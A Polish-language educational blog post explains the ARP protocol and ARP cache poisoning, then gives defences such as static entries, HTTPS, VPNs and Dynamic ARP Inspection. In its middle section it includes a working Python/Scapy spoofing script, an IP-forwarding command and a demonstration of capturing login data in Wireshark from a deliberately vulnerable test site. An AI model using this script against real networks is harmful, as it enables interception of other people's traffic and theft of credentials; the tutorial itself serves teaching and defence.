Żyjemy w czasach, w których router Wi-Fi znajduje się w praktycznie każdym domu. Możemy się z nim również spotkać w kawiarniach, restauracjach, barach i wielu innych miejscach, które codziennie odwiedzają dziesiątki osób. Łączność bezprzewodowa, Internet i co się z nim wiąże: sieci komputerowe, stały się dla nas zwyczajnym stanem rzeczy. Często nie myślimy o tym, co kryje się pod płaszczem tego dobrobytu, a kryją się między innymi różne zagrożenia. Niestety na tym świecie żyją również ludzie mający złe intencje i nieetyczne zamiary. Przeprowadzając opisany w poniższym artykule atak mogą manipulować siecią w taki sposób, że wszystko co zrobisz trafi do nich, a w konsekwencji - poznają Twoje sekrety.

Wstęp: protokół ARP

Załóżmy, że chcemy pingować jakiś adres IP w naszej sieci lokalnej. Przed wysłaniem wiadomości zostaną do niej dopisane kolejne nagłówki sieciowe zgodnie z modelem TCP/IP, a następnie przesyłana jest przez sieć. Proces ten nazywamy enkapsulacją i wygląda on następująco:

  • utworzenie nagłówka protokołu ICMP
  • dodanie nagłówka IP zawierającego informacje o logicznych adresach hostów
  • na koniec dodanie nagłówka protokołu warstwy łącza danych zawierającego adresy fizyczne (MAC) urządzeń źródłowego i docelowego

Nagłówek ICMP zostanie utworzony przez program ping, adres IPv4 został podany przez użytkownika przy uruchomieniu programu, a co z docelowym adresem MAC? Skąd nasz komputer ma wiedzieć jaki jest adres fizyczny odbiorcy komunikatu? Kiedy człowiek chce się czegoś dowiedzieć o drugiej osobie to może się zwyczajnie zapytać. Podobnie robi komputer - pyta się innych komputerów, jaki jest adres MAC hosta o danym adresie IP używając do tego protokołu ARP (Address Resolution Protocol).

Działanie ARP

ARP działa tylko w sieciach lokalnych wykorzystujących adresy IPv4 (IPv6 korzysta z innego protokołu) i służy do przypisania adresów logicznych (IPv4) do adresów fizycznych (MAC). Informacje te przechowuje w specjalnej tablicy w swojej pamięci podręcznej (cache). Tablicę ARP można wyświetlić za pomocą komendy wiersza poleceń arp -a.

Kiedy wysyłamy komunikat w sieci, nasz komputer sprawdza, czy w tablicy ARP znajduje się wpis zawierający adres IP hosta docelowego. Jeśli tak, pobiera z tego wpisu adres MAC i buduje ramkę gotową do wysłania. W przeciwnym wypadku, na rozgłoszeniowy adres MAC zostaje wysłane żądanie ARP (request) z pytaniem do jakiego adresu MAC przypisany jest dany adres IP. Na to żądanie odpowiada tylko host, który ten adres posiada, wysyłając swój adres MAC w odpowiedzi ARP (reply), jak również zapisując na przyszłość w swojej pamięci adres IP wraz z adresem MAC hosta, od którego otrzymał zapytanie.

Jeśli żadne urządzenie nie odpowiedziało na żądanie ARP to oznacza, że takiego hosta nie ma w sieci.

Działanie ataku ARP cache poisoning

Protokół ARP jest wygodny i wręcz potrzebny w większości sieci IPv4, ale bardzo łatwo wykorzystać go do przeprowadzenia ataku typu man-in-the-middle zwanego ARP cache poisoning lub ARP spoofing.

W tym scenariuszu atakujący chce przekierować ruch między dwoma urządzeniami (często pomiędzy hostem a bramą domyślną) aby móc go analizować i ewentualnie modyfikować. W tym celu wysyła do ofiar sfałszowane odpowiedzi ARP, w których zawarte są adresy IP celów oraz adres MAC atakującego. Są to tzw. gratisowe odpowiedzi ARP, ponieważ nie stanowią rzeczywistej odpowiedzi na żadne zapytanie ARP. Hosty, które odebrały sfałszowane pakiety ARP nadpisują wpisy w swojej pamięci podręcznej mapując adres IP ofiary na adres MAC intruza - następuje zatrucie tablicy ARP.

Dzięki temu zabiegowi, host chcąc wysłać wiadomość, w ramce jako adres docelowy poda adres fizyczny atakującego, co spowoduje, że to właśnie on otrzyma te dane. Intruz będzie mógł otrzymane informacje przetworzyć i potencjalnie zmodyfikować, aby w końcu przekazać je do właściwego urządzenia docelowego, aby nie zniszczyć komunikacji między atakowanymi urządzeniami, z których perspektywy nic się nie stało.

arp cache poisoning
Grafika utworzona dzięki  Canva

Podobnie wyglądałaby sytuacja, w której osoba podszywa się pod kuriera, odbiera paczkę od nadawcy, a następnie otwiera ją, zabiera to co mu się podoba lub zostawia niemiłą niespodziankę, zamyka paczkę i w końcu dostarcza ją do adresata.

Przykładowy skrypt: Python + Scapy

Na początku należy podkreślić, że manipulacje i przechwytywanie ruchu należy przeprowadzać wyłącznie w naszej własnej sieci lub sieci, w której na przeprowadzanie takich przedsięwzięć mamy wyraźne pozwolenie.

Istnieje wiele narzędzi do przeprowadzania ataku zatruwania tablicy ARP. Bardzo popularnym jest Ettercap, który działa z poziomu wiersza poleceń, ale udostępnia również interfejs graficzny. Jednak, aby pokazać przerażającą prostotę tego ataku, przygotowałem krótki skrypt w języku Python. Wykorzystywana przeze mnie biblioteka Scapy służy do prostego tworzenia pakietów, które można następnie wysłać do sieci.

from scapy.all import send, ARP
from time import sleep

# adresy bramy domyślnej
gateway_ip = input("Podaj adres IP bramy domyślnej: ") # adres IPv4
gateway_mac = input("Podaj adres MAC bramy domyślnej: ") # adres MAC

# adresy ofiary
victim_ip = input("Podaj adres IP celu: ") # adres IPv4
victim_mac = input("Podaj adres MAC celu: ") # adres MAC

# zatruwanie
while True:
	send(ARP(
		op=2, # reply (dla request jest 1)
		psrc=victim_ip, # adres IP ofiary
		pdst=gateway_ip, # adres IP bramy domyślnej
		hwdst=gateway_mac # adres MAC bramy domyślnej
	), count=2, verbose=False)

	send(ARP(
		op=2, # reply
		psrc=gateway_ip, # adres IP bramy domyślnej
		pdst=victim_ip, # adres IP ofiary
		hwdst=victim_mac # adres MAC ofiary
	), count=2, verbose=False)  

	print("Wysłano pakiety ARP")
	
	sleep(5)

Zakładając, że masz już zainstalowanego Pythona w wersji co najmniej 3.6, bibliotekę Scapy możesz zainstalować za pomocą polecenia:

$ pip install scapy

Przed uruchomieniem skryptu należy włączyć przekazywanie pakietów, aby docierały do miejsca swojego pierwotnego przeznaczenia. Na systemie Linux można to zrobić za pomocą poniższego polecenia (z poziomu użytkownika root)

# echo 1 > /proc/sys/net/ipv4/ip_forward

Teraz można już uruchomić skrypt (również jako root) oraz program Wireshark, aby przechwycić ruch sieciowy.

Na komputerze ofiary, w celach testowych, można wejść na przykładową, specjalnie niezabezpieczoną stronę logowania taką jak http://testphp.vulnweb.com/login.php i wpisać jakieś dane w formularzu:

testphp.vulnweb.com
Zrzut ekranu ze strony  http://testphp.vulnweb.com/login.php

W programie Wireshark pojawiły się wpisane przez nas dane:

przechwycone dane logowania w Wireshark
Zrzut ekranu z programu Wireshark

Jak można zaobserwować, w nasze ręce wpadły informacje, których raczej nie powinnyśmy widzieć.

Jak się bronić?

Na szczęście w dzisiejszych czasach ARP spoofing nie stanowi już takiego zagrożenia, jednak nadal może zostać przeprowadzony skutecznie, jeśli będziemy nieostrożni. Jak chronić nasz ruch przed tego typu przekierowaniem i w rezultacie - przechwyceniem?

Statyczne wpisy w tablicy ARP

Najprostrzym rozwiązaniem kwestii bezpieczeństwa związanej z zatruciem tablicy ARP jest stosowanie statycznych wpisów w owej tablicy, tzn. wpisywanych ręcznie zamiast dodawanych dynamicznie w wyniku działania protokołu ARP.

Nie jest to jednak rozwiązanie zbyt wygodne, ponieważ nawet w małej sieci domowej przy wymianie routera należałoby zmienić adresy MAC w tablicy ARP na wszystkich komputerach zawierających statyczne wpisy. Również łacząc się z Internetem w sieciach publicznych, np. w kawiarni, raczej nikt nie ma ochoty dodawać statycznych wpisów na 10 minut korzystania z sieci, zwłaszcza jeśli używamy telefonu.

Szyfrowanie

Obecnie na wielu stronach na szczęście wykorzystywany jest protokół HTTPS, który jest rozszerzeniem protokołu HTTP zapewniającym szyfrowanie, dzięki czemu nawet w przypadku przechwycenia takiego ruchu przez osobę trzecią, treść komunikacji pozostaje ukryta (o ile oczywiście szyfrowanie nie zostanie przełamane). W prezentowanym wyżej przykładzie, strona logowania korzysta ze zwykłego HTTP i nie szyfruje ruchu, przez co dane logowania są podane na tacy osobie, która przechwyci komunikację. Dlatego ważne jest używanie protokołów, które ją szyfrują.

Dodatkową ochroną, przydatną zwłaszcza w sieciach publicznych, może być tunelowanie ruchu przez serwer wirtualnej sieci prywatnej zaufanego dostawcy usług VPN lub zainstalowanego samodzielnie na prywatnym hostingu. W dużym skrócie, ruch internetowy zostaje przekierowany do serwera VPN, a komunikacja pomiędzy nim a naszym urządzeniem jest szyfrowana niezależnie od używanych przez inne aplikacje protokołów.

Dynamic ARP Inspection

Profesjonalnym rozwiązaniem wykorzystywanym w sieciach różnych organizacji jest wdrożenie DAI, które sprawdza przesyłane pakiety ARP pod kątem fałszowania adresów. Skonfigurowane na przełącznikach weryfikuje, czy adresy IP i MAC w pakiecie są prawidłowe bazując na powiązaniach DHCP. Jeśli nie - taki pakiet zostaje odrzucony.

Aby uruchomić DAI należy wcześniej skonfigurować DHCP snooping.

Podsumowanie

ARP cache poisoning jest standardowym przykładem ataku typu man-in-the-middle wykorzystującym niezbędny wręcz protokół w sieciach lokalnych z adresacją IPv4. Mimo że ów atak jest bardzo dobrze znany, nadal należy zachować ostrożność przy podłączaniu się do obcych (zwłaszcza publicznych) sieci, sprawdzać kto podłącza się do naszej sieci i co w niej robi oraz dbać o to, aby nasza komunikacja była szyfrowana, w szczególności gdy przesyłamy jakieś wrażliwe informacje takie jak loginy i hasła.

Źródła

Strony, którymi się wspierałem:

  • https://www.cisco.com/c/en/us/products/wireless/wireless-router.html
  • https://en.wikipedia.org/wiki/Ping_(networking_utility)
  • https://www.comptia.org/content/guides/what-is-a-local-area-network
  • https://en.wikipedia.org/wiki/OSI_model
  • https://en.wikipedia.org/wiki/Internet_protocol_suite
  • https://networkencyclopedia.com/encapsulation/
  • https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
  • https://en.wikipedia.org/wiki/Internet_Protocol_version_4#Packet_structure
  • https://en.wikipedia.org/wiki/Data_link_layer
  • https://www.techtarget.com/searchnetworking/definition/MAC-address
  • https://en.wikipedia.org/wiki/Address_Resolution_Protocol
  • https://www.w3schools.com/whatis/whatis_cli.asp
  • https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields
  • https://www.omnisecu.com/tcpip/broadcast-mac-address.php
  • https://www.rapid7.com/fundamentals/man-in-the-middle-attacks
  • https://www.itpro.co.uk/network-internet/30327/what-is-a-default-gateway
  • https://www.ettercap-project.org/
  • https://www.python.org/
  • https://scapy.net
  • https://www.wireshark.org
  • http://testphp.vulnweb.com/login.php
  • https://www.xmodulo.com/how-to-add-or-remove-static-arp-entry-on-linux.html
  • https://en.wikipedia.org/wiki/HTTPS
  • https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
  • https://www.cloudflare.com/learning/network-layer/what-is-tunneling
  • https://en.wikipedia.org/wiki/Virtual_private_network
  • https://study-ccna.com/dynamic-arp-inspection-dai/
  • https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol
  • https://study-ccna.com/dhcp-snooping